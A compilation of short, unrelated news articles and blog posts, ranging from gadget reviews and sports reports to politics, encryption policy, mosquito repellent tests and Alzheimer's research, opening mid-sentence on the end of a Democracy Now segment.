I, all of the cops then proceeded to kind of swarm.  AMY GOODMAN: That was water protector Cody Hall of the Cheyenne River Sioux Tribe. The charges were dropped against him. Special thanks to Denis Moynihan, Hany Massoud, Laura Gottesdiener and John Hamilton.
-Virtual reality has breathed new life into motion controllers, from the simple (Leap Motion) to the baroque (the omnidirectional treadmill.) 3DRudder, though, is surprisingly practical. It's a round-bottomed board that tracks your feet, translating their motion into gaming controls by mapping four different methods of control onto button presses or joystick swivels. Think of it as a cross between a skateboard and a sewing machine pedal, or a very advanced Wii Balance Board.  We're not sure how much setup goes into the 3DRudder, although supposedly all it needs is a USB port and driver. But at CES Unveiled, we got a taste of how it controls — not with a game, but with a 3D design program. Once you sit down and rest your feet on it, the board calibrates within a few seconds. Sliding it forward and backwards zooms you in and out, turning rotates you horizontally, and twisting your feet — a motion a little bit like pedaling a bicycle — rotates you up and down; though we didn't get to try it, you can also move from side to side, and you can map custom controls onto the axes.  When everything goes right, it's surprisingly intuitive  When everything goes right, the board is remarkably responsive, precise, and intuitive. It feels a bit like driving a car, with fine-grained control over how fast and how far you move. If you've only used it for a few minutes, as we did, it won't all go right, though. I wasn't quite sure how much pressure to put on it, accidentally pushing down too hard to control it well. When I rested, I clearly kept my feet tilted a little too much, because the scene would rotate slightly; I imagine I'd have to either figure out how to tread more lightly or just take my feet off. It's probably theoretically possible to stand on it, but it seems unlikely to work well, not to mention quite uncomfortable.  The 3DRudder controller is midway through an Indiegogo campaign, with a projected shipping date of May. A limited number of early bird specials will get you a board for $110, but the standard price is $130.
-We first learned about the Dell Inspiron Duo a few weeks ago and were rather intrigued by the convertible ultra-portable device. It has the distinction of being half netbook and half tablet, making it a compelling choice for those not yet ready to go all touch.  The device is made possible by a unique mechanism that flips the screen, transforming the device from a netbook into a tablet. The 10-inch touchscreen makes it one of the bigger tablets on the market, while its dual-core 1.5GHz Intel Atom processor is a first among tablets, although netbooks have had them for some time.  In addition to what we already knew, today we learned that the device includes a 320GB 7200RPM hard drive. It's a bit strange that Dell has opted for a physical drive over a solid state one, but we can be thankful that it's 7200RPM instead of 5400RPM.  The Dell Inspiron Duo is available now directly from Dell for $550. If you pick one up, please let us know your thoughts on the device.
-New Delhi: Rejecting criticism about Rahul Gandhi's leadership, Congress leader AK Antony today said he was not responsible for the party's Lok Sabha poll debacle and exuded optimism that it will revive under Sonia Gandhi and Rahul.  Antony, who headed a committee that probed the reasons for the party's poll debacle and submitted its report to Sonia Gandhi yesterday, dismissed reports that there was a question mark on the leadership of Rahul after the elections and that the committee has suggested something like that.  "This is all speculation. Nothing. Absolutely wrong. Those who are spreading this kind of rumours want to weaken the party. Such things are being spread by mischievous people, who want to weaken the party," he told reporters on the sidelines of the flag hoisting ceremony at AICC headquarters.  Antony said the "reasons for the Congress defeat were something else".  However, he did not elaborate as to what conclusions the panel has arrived at for the worst-ever defeat of Congress in the 2014 general elections.  Sonia and Rahul did not take questions from the media and left after wishing 'Happy Independence Day' to all.  Antony insisted that it was Sonia Gandhi and Rahul, who toured throughout the country and addressed rallies in the run-up to the polls.  At the outset, he said the panel chaired by him submitted the report to Sonia yesterday but refused to divulge details.  All the four members of the panel Antony, Mukul Wasnik, RC Khuntia and Avinash Pandey had met the Congress President and submitted the voluminous report.  "I do not want to go into details. I will not reveal the details. I do not want to say anything about the content of the report," was his brief response to questions like whether his panel has faulted the communication strategy of the party or blamed the way media reported during Lok Sabha polls.  "We are confident; like we did in 1977, we will overcome this difficult phase as well. Congress will overcome this. We will be able to regain the loss, strengthen our party, strengthen our mass base again. We will revive under leadership of Sonia Gandhi and Rahul," Antony said.  Asked about murmurs of dissent within the party over leadership, the party veteran, who had proposed anointment of Rahul as Vice President during Congress Chintan Shivir in Jaipur last year, said such leaders should instead do something to ensure that the party regains lost ground.  "They must do something to regain the ground. That we are confident of. We are 100 per cent confident of regaining lost ground," he said.  Apart from giving a condensed over-all report on the Congress' poor show nationwide, the report has also focused on specific states incorporating discussions held with their leaders on the reasons for the defeat and the recommendations of the panel, sources said.  With the Assembly polls in four states approaching, the report would help the leadership take remedial steps at the earliest to stem the rot.  Antony said during discussions with leaders from various states, it came out that only Sonia and Rahul campaigned. The veteran leader suggested that the party did not work at other levels as strongly as was required.  Asked whether there will be changes in the party set up since he has already submitted the report citing reasons for the defeat, Antony said this is for the Congress President to decide.  On speculation of a larger role for Priyanka Gandhi in the party, Antony said, "There is already a clarification from Priyankaji. I will not add anything."  Priyanka had last week dismissed speculation surrounding her as "conjecture" and "baseless rumours".  Sources indicated that instead of being critical of the leadership, the report talks about the alleged "manipulation of media coverage by the BJP, the lacunae in Congress campaign vis-a-vis the blitzkrieg of Narendra Modi's election campaign and organisational weaknesses" of the party.  Antony downplayed his earlier remarks that proximity to minority communities had led people to doubt the party's secularism, saying it was "Kerala specific" remark made in a particular speech in a context.  Party general secretary Mukul Wasnik said the panel talked to around 500 leaders from various states before finalising its report after a comprehensive discussion.  He said nobody raised questions about the leadership of Sonia Gandhi and Rahul.  The four-member panel was set up a fortnight after the results were out on May 16, which had come as a huge shock for the party.  The panel had begun the review exercise in June starting from Delhi, where all its seven Lok Sabha candidates including Union Ministers Kapil Sibal, Ajay Maken and Krishna Tirath had lost the polls.  The panel had also met the PCC chiefs, CLP leaders and other party functionaries from various states during the exercise.  The Congress had got its lowest tally of 44 seats in the 543-member Lok Sabha in the general elections held in April-May this year.  PTI  Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.
-Hundreds of cities around the world now offer bike sharing systems, but if you're with a friend, why use two bikes when one could do the job?  That bike is the Duovelo, a conceptual sort of tandem, electric bicycle. The advantage of a second seat is obvious. It's one vehicle to transport multiple people, and hitching bikes together in a pedal-powered train could be a fun way to take a longer trip with family or friends.  Charles Bombardier About A mechanical engineer and a member of the family whose aerospace and transportation company builds trains, planes, and more, Bombardier's at his best when he ignores pesky things like budgets, timelines, and contemporary physics. Since 2013, he's run a blog cataloging more than 200 concepts, each a fantastic, farfetched new way for people to travel through land, air, water, and space. His ideas are out there, but it's Bombardier's sort of creative thinking that keeps us moving forward.  A cross between a BMX and a fat bike, the Duovelo uses a sliding mechanism to reveal a second seat for a passenger. The extra rider can hold onto a handlebar located between the seats, and rest his feet on lateral foot pegs.  This version of the concept doesn't include extra pedals, but it would be interesting to develop a folding pedaling system for the passenger.  An electric motor would assist the driver during his ride, with a charge indicator (visible even in daylight) on the crankset. You could ditch the e-power for a lighter ride, though it means more work for whoever's doing the pedaling.  The Duovelo itself holds two people (it's right there in the name) but could be connected with another of its kind to seat four, or even more. Imagine going on a bike ride with all your friends at the same time—on the same bike!  This original idea for this concept comes from Jimmy Bilodeau, who submitted it through my Imaginactive website. Adolfo Esquivel, a Montreal-based freelance designer, created the renderings for the Duovelo.
-In the Electoral College White Votes Matter More  Lara Merling and Dean Baker  For the second time in the last five elections we are seeing a situation where the candidate who came in second in the popular vote ends up in the White House. This is of course due to the Electoral College.  As just about everyone knows, the Electoral College can lead to this result since it follows a winner take all rule (with the exception of Nebraska and Maine). A candidate gets all the electoral votes of a state whether they win it by one vote or one million. In this election, Secretary Clinton ran up huge majorities in California and New York, but her large margins meant nothing in the Electoral College.  In addition to the problem of this winner take all logic, there is also the issue that people in large states are explicitly underrepresented in the Electoral College. While votes are roughly proportionately distributed, since even the smallest states are guaranteed three votes, the people in these states end up being over-represented in the Electoral College. For example, in Wyoming, there is an electoral vote for every 195,000 residents, in North Dakota there is one for every 252,000, and in Rhode Island one for every 264,000. On the other hand, in California there is an electoral vote for every 711,000 residents, in Florida one for every 699,000, and in Texas one for every 723,000.  The states that are overrepresented in the Electoral College also happen to be less diverse than the country as a whole. Wyoming is 84 percent white, North Dakota is 86 percent white, and Rhode Island is 74 percent white, while in California only 38 percent of the population is white, in Florida 55 percent, and in Texas 43 percent. White people tend to live in states where their vote counts more, and minorities in places where it counts less. This means that the Electoral College not only can produce results that conflict with a majority vote, but it is biased in a way that amplifies the votes of white people and reduces the voice of minorities.  The figure illustrates the gap in Electoral College representation for minority voters. Based on the weight of each vote in each state and given the fact that most minority voters reside in states where each person’s vote counts less in the Electoral College, the result is minority voters are grossly underrepresented. African American votes on average have a weight that is 95 percent as much as white votes, Hispanic votes are on average 91 percent, and Asian American votes, 93 percent as much of a white vote. In the Electoral College, white votes matter more.  Addendum  It is worth noting that there is a fix to this problem which does not require a constitutional amendment or even action by Congress. The organization, National Popular Vote, has been pushing states to pass legislation whereby their electoral votes will go to the winner of the national popular vote. This switch does not happen until states representing a majority of electoral votes have passed the same legislation. At that point, the winner of the popular vote will automatically be the winner of the electoral vote.
-Let’s face it, most modern liveries are boring, unimaginative and poorly executed. Gone are sleek lines to match the cars shape, instead replaced with bodged jobs, littered in sponsorship logos. Just look at the Sauber for example, black, white and red all work together and they still managed to make it look terrible.  Click below for some fantastic concept F1 liveries, adding proof to the argument that F1 fans can design better liveries than these supposed ‘designers’.  McLaren – Jezson  With McLaren no longer the Mercedes works team, it’s time for them to ditch the chrome. Jezson has made this sweet looking black and red McLaren livery.  Ferrari – mantovani  There’s not really a lot Ferrari can do but they could still do something a little bit more interesting. Bruno Mantovani has done this design which features an Italian flag flash down the side, Ferrari put an Italian flag on last years car to celebrate the 150th anniversary of Italy, but they stuck it on the rear wing like an after thought and it looked completely stupid.  Lotus – maximilian  Ah, the black and gold Lotus. Retro liveries are all the rage these days but rather then copying the Lotus from the eighties, how about doing something more original? Maximilian has done this original Lotus design using the black and gold colour scheme.  Sauber – sam3110  The new Sauber sucks. It’s terrible. They added black to make it less boring and they managed to make it look even worse. This design from sam3110 looks much more slick.  Toro Rosso – Jezson  With Toro Rosso being the Red Bull B-team, why not advertise another one of the companies energy drinks? Jezson has created this brilliant ‘Sugar Free’ Toro Rosso livery. You’d certinaly be able to tell the teams apart then.  Williams – Azhar  This retro Williams livery by Azhar is done in the style of the 1992 Williams Renault… and it looks pretty damn good.  Marussia – purplejohn  Finally purplejohn has mocked up this Marussia livery, featuring the colours of the Russian flag. So it may look a bit Team America but it’d certainly stand out on the grid.  Which concept livery would you most like to see used in F1?
-The UK government has once again bared its anti-technology teeth in public, leaning especially heavily on messaging platform WhatsApp for its use of end-to-end encryption security tech, and calling it out for enabling criminals to communicate in secret.  Reuters reported yesterday that UK Home Secretary Amber Rudd had called out end-to-end encryption services “like WhatsApp”, claiming they are being used by paedophiles and other criminals and pressurizing the companies to stop enabling such people from operating outside the law.  “I do not accept it is right that companies should allow them and other criminals to operate beyond the reach of law enforcement. We must require the industry to move faster and more aggressively. They have the resources and there must be greater urgency,” Rudd reportedly added.  Earlier this week she also admitted she doesn’t really understand e2e encryption.  Asked about her understanding of the technology at the Conservative Party conference, Rudd came out with this gem: “I don’t need to understand how encryption works to understand how it’s helping the criminals. I will engage with the security services to find the best way to combat that.”  She also complained about being ridiculed by the tech industry for not understanding the technologies she’s seeking to regulate. Whilst apparently doubling down on the ignorance that has attracted said mockery.  This of course led to more mockery…  Paedophiles are also using roads, planes, supermarkets, pubs, lettuces and Terry's Chocolate Oranges, so we're getting rid of them, too. https://t.co/VncItwvpnb — Owen Jones🌹 (@OwenJones84) October 3, 2017  You can see the problem with this strategy. Unless you’re the UK government, evidently.  But what exactly is Rudd trying to get WhatsApp to do? The company has repeatedly pointed out it can’t hand over decrypted message content because e2e crypto means it doesn’t hold the keys to decrypt and access the content.  Which is exactly the point of e2e encryption, and also explains why it’s better for data security.  The Facebook-owned company reportedly rejected a government demand it come up with technical solutions to enable intelligence agencies to access e2e encrypted WhatsApp messages this summer (per a Sky News report).  And an e2e encryption system with a backdoor wouldn’t be an e2e encryption system, as Rudd apparently can’t understand. (She wrote some other confusing words on that topic this summer.)  Meanwhile Facebook’s Sheryl Sandberg has tried to sell governments on the notion that access to its — doubtless high resolution — metadata should be enough for their counterterrorism/crime-fighting needs.  (Note for Rudd: U.S. intelligence agencies have previously said they kill people based on metadata, so Sandberg probably has a point. But maybe you don’t fully grasp what metadata is either?)  Yesterday Reuters also quoted UK security minister Ben Wallace, whose brief covers counterterrorism and comms data legislation, bashing on services that use e2e encryption for preventing security services from tracking and catching criminals because “we can’t get into these communications”.  Wallace also reportedly had this to say: “There are other ways I can’t talk about which we think they can help us more without necessarily entering into end-to-end encryption. So we think they can do more.”  What “other ways” is the government thinking of? A backdoor into an e2e encrypted messaging platform given any other name would still be, er, a backdoor. Unless you’re just getting your hands on an unlocked device and reading the plain text messages that way. (Which is of course one possible workaround for security services to access e2e encrypted comms.)  We asked WhatsApp (and Facebook) for comment on the government’s latest attacks on its messaging platform. Neither replied.  But when politicians seem intent on ignoring how your technology works while simultaneously asking your technologists to make the tech do what they want (which also happens to be: Destroy the security promise that your service is founded on) you can’t really blame them for not wanting to engage in conversation on this topic.  Security researcher and former Facebook staffer Alec Muffett, who worked on deploying e2e crypto for its ‘Secret Conversations’ feature, did have this to say when we asked for this thoughts: “If the Snowden affair has taught us anything it’s that government will internally redefine any distasteful term such as ‘backdoor’ so that it arguably does not apply to what they wish to achieve. I strongly suspect that state officials themselves do not have technical or specific plans, so much as a set of ‘desired outcomes’ which they will pressure the communications providers to deliver. For the rest of us, any ‘feature’ which breaks the promise that is implicit in the name of ‘end-to-end encryption’ is rightly called a ‘backdoor’ and should be resisted.”  Amen to that.  Meanwhile rumors suggest Rudd is gearing up for a potential leadership fight, if/when current UK PM Theresa May is finally unseated by the Brexit mess she has managed to exacerbate.  So Rudd’s views on e2e crypto — and her apparent willingness to continue to misunderstand how technologies work — should worry us all.  At this week’s party conference she unveiled plans to tighten the law around watching terrorist content online, with proposals to increase the maximum jail term for repeat viewing such content online or via a streaming service to up to 15 years.  So the current political trajectory in the UK is for greater control and regulation of the Internet. At the same time as the government is pushing hard to undermine the security of online data.  Again, that should worry us all — not least because other governments are watching the UK’s example, and some appear to be taking inspiration to make their own moves against encryption.  If Rudd wasn’t enough, another Tory leadership contender in waiting — current foreign secretary Boris Johnson — appears to have an even more butterfingered grasp of digital infrastructure than she does (at least Rudd has taken a lot of meetings with tech firms lately, albeit without necessarily learning a great deal).  Also speaking at the Conservative Party conference this week, Johnson reportedly suggested the UK could diverge from the EU’s data protection standards, post-Brexit — i.e. should he become the next UK PM.  Boris Johnson: Britain "would want to do things differently to  the EU in certain areas, such as data" – UK to diverge from GDPR post Brexit? — Rory Cellan-Jones (@ruskin147) October 3, 2017  Where on Earth has Johnson got the idea that the UK would want to do things different in the area of “data”? What can he be thinking to go out on such a strange limb?  His comments come despite the UK’s data protection watchdog sweating hard to inform UK businesses they do indeed need to comply with the incoming GDPR — and will need to continue to comply even after the country leaves the bloc (because, you know, complying with required standards is oil in the engine of trade).  And despite UK digital minister Matt Hancock stating multiple times the government is aiming to essentially mirror EU data protection regulations — precisely to ensure there is no cliff edge as far as data flows are concerned.  If the UK does not meet EU data protection standards once it leaves the bloc, UK businesses and startups will face being instantly cut off from selling into European markets.  The UK will also likely need to negotiate its own data transfer agreement with the US which has its own data agreement with the EU. So could be cut off from the US market too if they can’t get some quick agreement in place (vs mirroring EU DP regs probably making some kind of UK-US Privacy-Shield copy-paste job quicker and easier to pull off.)  Apparently none of the complexities of international data regulation have arrived beneath Johnson’s blonde mop. Expect that grand landing in some very far-flung future.  Instead we find only a vague grasp on “data” — tightly coupled with a telling political stiffness for “doing things differently”.  I don't think he's quite got the hang of international data regulation. Perhaps he could borrow this from Amber once she's done with it? pic.twitter.com/uRCuoy6Ozy — Rupert Goodwins (@rupertg) October 3, 2017  And when button-pushing politicians have such a childish grasp on technology at the same time as powerful technologists are demonstrably failing to factor politics into their platforms we should all be rightly and highly concerned about the resulting societal outcomes.
-Already daydreaming about warm, outdoor barbecues and picnics? If so, one thing you’re probably leaving out of your happy vision is the inevitable return of blood-thirsty mosquitoes that crash those otherwise relaxing outdoor events. Luckily, this year, researchers have your back, as Science first reported.  In a high-tech experiment to recreate your bite risks while chilling on your patio, researchers at New Mexico State University tested out 11 common types of mosquito repellent to find the most effective ones. The results: skip the citronella candles and ditch herb-laced bracelets—they didn’t work at keeping away mosquitoes. Instead, stick with DEET-containing products, metofluthrin-blowing clip-on fans, and sprays containing oil of lemon eucalyptus. The results appear in the Journal of Insect Science.  To test out the products, the researchers set up a three-chamber cage of mosquitoes in a wind tunnel, gently blowing at 2 meters/second. Here's how the experiment works: A pack of hungry Ae. aegypti mosquitoes (50 to 125) enters into the middle compartment and can fly to either side—upwind or down. Next, the researchers place some delicious human “bait” one meter upwind of the cage. (The researchers made sure that volunteers didn’t bathe in the 15 hours prior so that the mosquitoes could get a good whiff.) After a little time, the researchers seal off the chambers and tally up how the mosquitoes distribute—toward the bait or not.  In a positive control, 88.8 percent stalked the chamber closest to the bait. In a negative control with no bait, only 17 percent roamed the upwind chamber.  Next, the researchers tried out 11 different types of mosquito repellant on the bait. The products included bracelets, wearable devices, sprays, and citronella candles. The most effective products were, in order of rank:  The OFF! Clip-on, which is a wearable device that spews a fog of metofluthrin insecticide. Only 27 percent of mosquitoes were in the upwind chamber, about a 70 percent reduction in mosquito attraction.  Cutter Lemon Eucalyptus, a spray of oil of lemon eucalyptus. Only 29.6 percent of the mosquitoes were in the upwind chamber.  Ben’s Tick & Insect Repellent, a spray-on containing 98 percent DEET. Only 33.7 percent of mosquitoes were in the upwind chamber, a reduction of around 60 percent.  The personal sonic mosquito repellent, citronella candle, herbal sprays, and bracelets did virtually nothing.  The authors are hopeful that the information can better inform consumers about how to best protect against bites. “At a time where vector-borne diseases like Zika are a real threat, the most egregious danger to the consumer is the false comfort that some repellents give them protection against Ae. aegypti when they actually offer none,” the authors conclude.  Journal of Insect Science , 2017. DOI: 10.1093/jisesa/iew117 (About DOIs).
-Sunderland were terrible. Their defending was appalling all game, most obviously on Everton’s third goal. Who the hell is marking Romelu Lukaku here?  For the first two goals of Lukaku’s hat trick, both headers at the far post, he was also given far too much space. Sunderland have one point from four games, sit in 19th place, defend like a Sunday League side, and are a prime candidate to be relegated.  But with that throat clearing out of the way, maybe Everton are going to put in a real challenge for the Champions League spots? After an extremely disappointing 2015-16 season that saw Everton finish 11th, manager Ronald Koemen was lured away from Southampton. Koemen and the Everton board splashed in the transfer market, spending a seemingly absurd £25 million for Crystal Palace winger Yannick Bolasie, as well as signing former Swansea center back Ashley Williams, Aston Villa midfielder Idrissa Gueye, and Fulham keeper Maarten Steklenburg. All this, and more, was financed by selling John Stones to Manchester City.  Against Sunderland, all four of these new signees started. But even though Everton were clearly the better side, they couldn’t find the back of the net in the first 45 minutes. Rather than wait and hope something would happen, Koemen made it happen by replacing Ross Barkley with Gerard Deulofeu.  Advertisement  Deulofeu was immediately the most dangerous man on the field. In the 60th minute he led a counterattack that ended with Gueye picking out Lukaku at the far post. Eight minutes later Bolasie crossed to Lukaku for his second, and three minutes after that Sunderland’s shambolic defending led to the goal seen above.  Everton have won three of their first four games, with the fourth a draw with Tottenham. It wasn’t the most stellar of competition, but still, they have 10 points and sit tied for second, with the demolishing of a League Two side in the League Cup on their resumé too.  Last year’s disastrous campaign means no European distractions, and the growth of Deulofeu and addition of Bolasie has made for a more dynamic attack. Steklenburg has only conceded two goals, Williams is a solid defender to replace Stones (or back-up Ramiro Funes Mori), and Gueye has perhaps been Everton’s player of the season, shielding the back four effectively.  Advertisement  Of course, Everton haven’t qualified for the Champions League in 13 seasons, and have even only qualified for the Europa League once in the last seven. But with Leicester (and to a lesser extent) Southampton’s success last season, and a number of the bigger clubs integrating new managers and implementing new systems while trying to remain competitive in four different competitions, who’s to say Everton isn’t capable of a surprise finish?
-This game was eerily similar in the way that it ended, minus the helmet catch, that it almost seemed like you were watching a replay of the Super Bowl from 2007. Brady led the Patriots to a late touchdown to put them up 20-17 with only 1:36 remaining on the clock. "I'd rather be down three with a minute thirty (left) than up by four with a minute-thirty with Tom Brady, with their offense on the field." Giants quarterback Eli Manning said. "You like those opportunities to go win the game."  The game was a back and forth battle all day long, with not much in the way of offensive playmaking to be seen for most of the day as it was only 10-3 entering the fourth quarter. That's when things started to get exciting. The Patriots had started their drive in the third quarter, and finished it with a 5 yard TD pass to Aaron Hernandez to tie the game at 10 less than a minute into the final period. New England then got the ball back and took the lead on a 45 yard Gostkowski field goal.  The fourth quarter made up for all of the rest of this game. The Giants then go on a drive of their own that climaxed with a 10 yard TD pass to Mario Manningham. Brady took it back, and then leda final charge down the field, and celebrated as they thought they were up for good as Brady threw to TE Rob Gronkowski on three straight plays before falling down in the end zone with a 20-17 lead.  The final drive did have some similarities to the Super Bowl winning drive. Manning threw another heave down the middle of the field, and it was again caught for a 28 yard gainer by another guy wearing #85. This time it wasn't "Helmet Catch" hero David Tyree, it was big TE Jake Ballard who was thought to be only good for blocking. After a pass interference call in the end zone on Patriots corner Sergio Brown that gave the Giants the ball at the 1 yard line. It took them three plays, but on the third he hit Ballard again for the winning score with just 15 ticks left on the clock.  The Giants players were feeling a bit euphoric back in the locker room as the lifted up coach Tom Coughlin on their shoulders. "We got a little carried away,' Justin Tuck said about it afterwards. "Considering how good that team is and what they've done here in the last 20 games, it was a big win, and to win it in the fashion that we won it, it brings back memories."  The Giants can't get too caught up in the feeling because they have to travel to the west coast this week to play, who some pundits think, the second best team in the NFC right now, the San Francisco 49ers. They've also got a daunting schedule left after that game as well as they will face off against Philadelphia, New Orleans, Green Bay and then Dallas again, with the Saints and Cowboys being road games.  The Patriots while suffering they're second straight defeat are still in pretty good position. "We've got half a season to go," Brady said. "We'll see what our team's made of this week." As they are sitting in a three way tie for first place at 5-3 with the Bills and Jets, they arepreparing toface a stiff test this week as they travel to New York to face the Jets. Theschedule eases up for the most part as their most challenging game will be at Philly in late November, then a Buffalo rematch on New Year's Day. If they can find a way to beat the Jets, the division is theirs for the taking.
-We all have those days when we feel like we're worthless,useless human beings.Trust me,I've been there too.For whatever reason,at some point we feel sad.So I decided to share with you guys some things I usually do to cheer me up (with extra details,links and more).Let's get into it.Yes,that's right.It might sound ridiculous,but watching some cute beings be dumb or tricky really helps.Since I'm assuming you're sad and have no nerve to search for some videos,here are my favorite:Just click it.It'll be worth it,I promise.Hope these cheer you up :)They make such a good impact on your mood.Here are some links,even though I don't know your current situation.I couldn't find more links for general quotes because it all depends in what you're going through.If you're sad over a break up Click Here If you're sad over your grades : Click here If you're sad over bullies : Click here If you're sad over your own thoughts : Click Here I really hope it helped something. :)Jokes always make the day better.So why not enjoy a good laugh with those pages I found just so you could be happy? At least smile for me,so I can be glad I spent hours looking.+funny videos such as pranks,challenges and more.To make this party funner,make sure you're either home alone or you close your bedroom with a lock.Go grab some food (whether it's healthy or not),turn the music on,and just start dancing and singing around! It sounds cheesy but it really helps you get distracted from the sadness.If you don't want to dance/sing you can:-build a fort-watch a movie-play games online (Such as Cards Against Humanity -etc.Last but not the least,open up about it (keeping the anonymity).I love those pages where you can write anonymously and get advice:Also you could write to me,you know.My email is vlerandera@gmail.com----Thank you for reading this! I hope you feel better now.: if you know someone who's feeling sad and empty,please send this blogpost to help them.Comment down below if I helped or not,and if you want me to do more of these.See you tomorrow,xo
-ST. PETERSBURG, Russia -- Russian Prime Minister Vladimir Putin says he'll reconsider the ban on beer at sports stadiums ahead of the 2018 World Cup.  Putin was questioned about the ban Thursday when he and FIFA president Sepp Blatter met with fans in St. Petersburg as part of commemorations of the 100th birthday of the Russian soccer federation.  As president, Putin signed a 2005 law banning beer and beer advertisements at sports venues.  He told the fan who asked about lifting the ban that "when the decision was made about stadiums, it came from the best of intentions. OK, we'll return to it again and think about it."  Blatter noted that beer is popular among fans, saying "beer is like a part of life. Can you imagine holding a championship in Germany without beer?"  Copyright 2012 by The Associated Press
-A spreading corruption crisis has slammed economic confidence in Turkey, sending the nation's currency to a record low and stocks plunging.  The lira hit an all-time low against the dollar Friday. The key index for stocks on Turkey's main exchange, the Borsa Istanbul National 100, has slumped 6.2% this week and is down more than 18% this year.  Related: Latest on Turkey's corruption probe  A wide-ranging probe into corrupt practices has damaged the government of Prime Minister Recep Tayyip Erdogan and continues to spook investors.  The crisis intensified this week as three ministers stood down and one, Urbanization and Environment Minister Erdogan Bayraktar, called on the country's leader to follow suit.  The ministers resigned Wednesday after their sons were detained in a roundup that included the head of a public bank, several bureaucrats and high-profile businessmen.  The detentions came after a two-year investigation by the Istanbul Prosecutor's Office into allegations of corruption, including money laundering, gold smuggling and bribery.  Prime Minister Erdogan reshuffled his cabinet, but the moves failed to restore investor confidence in the Turkish economy.  On Friday, the Turkish military said it would stay out of the crisis. In a statement posted on its website, the country's armed forces said it "does not want to, in any way, be a part of political discussions."  It's more pain for an economy that has suffered significant bouts of market turbulence in 2013.  Anti-government protests sparked a sharp sell off in Turkish stocks in June, as demonstrators accused Erdogan of creeping authoritarianism and demanded his resignation.
-OTTAWA – A fresh batch of Canadian military trainers is about to deploy to eastern Europe, and the outgoing commander says his soldiers took a lot of their own notes in addition to handing out assignments to Ukrainian troops.  Lt.-Col. Jason Guiney, who is about to end his five-month stint, says even though their training bases are 1,200 kilometres away from the fighting in the breakaway eastern regions, his troops have learned a lot about the nature of the conflict.  “It’s a very big wake-up call for us as an institution,” Guiney said Thursday in a telephone interview from Lviv, located in western Ukraine.  In dealing with Ukrainian troops, he said, they’ve had an up-close look at how Moscow-backed separatists have mixed high-tech Russian weaponry, cyberattacks, propaganda, conventional warfare and insurgency warfare into a toxic, deadly campaign.  READ MORE: Canada asked to help train new Ukrainian cops  “There’s a lot of very modern Russian equipment in there,” Guiney said, referring to armoured vehicles that have the ability to deflect anti-tank rockets.  “We’ve learned about how Ukrainians are deploying methods to defeat that.”  The speed and sophistication of the conflict, which began with Russia’s annexation of Crimea in March 2014, has startled many western military planners who’ve come to describe what’s happening the country as hybrid warfare.  “We’ve learned they’ve experienced cyberattacks; electronic warfare, like radio jamming; heavy use of drones, like UAVs, which are used for precision artillery strikes,” he said.  Following more than a decade of guerilla warfighting in Afghanistan, he added, the Ukraine experience is making an impression and “forces us to get back to our basics and take a hard look at our own doctrine.”  The mission, which is slated to go until March 2017, has allowed ordinary Canadian soldiers “and even senior (non-commissioned officers) to take this experience back to Canada with them.”  The first rotation of Canadians, from Garrison Petawawa, Ont., will slowly be replaced by a fresh batch of troops from CFB Valcartier, Que.  READ MORE: Over 9,000 people killed in 21 months of Ukraine fighting  Up to 200 Canadian trainers are teaching regular Ukrainian army units infantry combat skills, battlefield medical treatment and how to defuse and dispose of roadside bombs. Separately, a contingent of military police is working in Kyiv mentoring counterparts there.  Because of the unconventional nature of the conflict, Guiney said the military has taken steps to protect the identities of its trainers. National Defence was criticized last year for imposing restrictions on media photographs and video of troops departing for Ukraine.  Such restrictions are not unheard of. For instance, the military does not allow pilots and ground crew involved in airstrikes against the Islamic State of Iraq and the Levant to be seen or interviewed on camera – only the commander.  Similarly, there were restrictions during the Afghan war on reporting the identities and operations of special forces soldiers.  The directive for Ukraine – imposed even though it is not a war-time scenario – is meant to prevent retaliation in both the real and online world, Guiney said.
-Image copyright Thinkstock  A man in Edmonton was allowed to board a flight after a pipe bomb found in his bag was confiscated by airport security, it appears.  A security guard at Edmonton International Airport even tried to hand the bomb back to the passenger, CBC News reports.  The passenger in question, 18-year-old Skylar Vincent Murphy, was on his way to Mexico when the explosive device was found by airport security in his bag. A guard was reportedly caught on camera passing the bomb back to Murphy after inspecting his carry-on luggage. Apparently the teenager refused to take it back even when told he could keep it.  The bomb was said to be 15cm long and filled with gunpowder. The teenager claimed to have forgotten it was in the bag after making it with a friend for fun some months before.  He subsequently pleaded guilty and was fined 100 Canadian dollars.  According to the Canadian Air Transport Security Authority, several officers involved have been suspended. Canada's Federal Transport Minister Lisa Raitt told CBC News it was "unacceptable" that someone found in possession of a bomb was allowed to continue with his journey.  Use #NewsfromElsewhere to stay up-to-date with our reports via Twitter.
-People who stay physically and mentally healthy in middle age may help avert the symptoms of Alzheimer’s disease, but not the underlying cause of the disease changes itself, according to research published in Neurology.  Prashanthi Vemuri, PhD, from the Mayo Clinic in Rochester, Minn., and colleagues found that of the participants who had 14 years of education or more who were carriers of the APOE4 gene — which is linked to Alzheimer’s and affects about 20% of the population — those who kept mentally active in middle age had lower levels of amyloid plaque buildup in the brain compared with those who did not keep mentally active in middle age.  “Recent studies have shown conflicting results about the value of physical and mental activity related to the risk of developing Alzheimer’s disease, and we noticed that levels of education differed in those studies,” said Dr Vemuri in a statement. “When we looked specifically at the level of lifetime learning, we found that carriers of the APOE4 gene who had higher education and continued to learn through middle age had [less] amyloid deposition on imaging when compared to those who did not continue with intellectual activity in middle age.”  To investigate the effect of various characteristics on Alzheimer’s disease biomarker trajectories, the researchers evaluated 393 participants without dementia (70 years and older) from the Mayo Clinic Study of Aging using longitudinal imaging data (brain b-amyloid load via Pittsburgh compound B PET and neurodegeneration via 18fluorodeoxyglucose (FDG) PET and structural MRI).  Of the 393 participants, 340 were clinically normal and 53 had mild cognitive impairment. The participants were grouped into high levels of education (≥14 years) and low levels of education (<14 years).  Using MRI and PET scans, the researchers searched for biomarkers of Alzheimer’s disease. They also evaluated weekly intellectual and physical activity in middle age with questionnaires.  For the entire group of participants as a whole, the researchers found that education, occupation, and mental and physical activity in middle age appeared to have little to no effect on the rates of amyloid plaque buildup. However, for carriers of the APOE4 gene, those with high education who continued stimulating their minds in middle age had less amyloid plaque deposition in the brain than those with high education who did not continue mental stimulation in middle age.
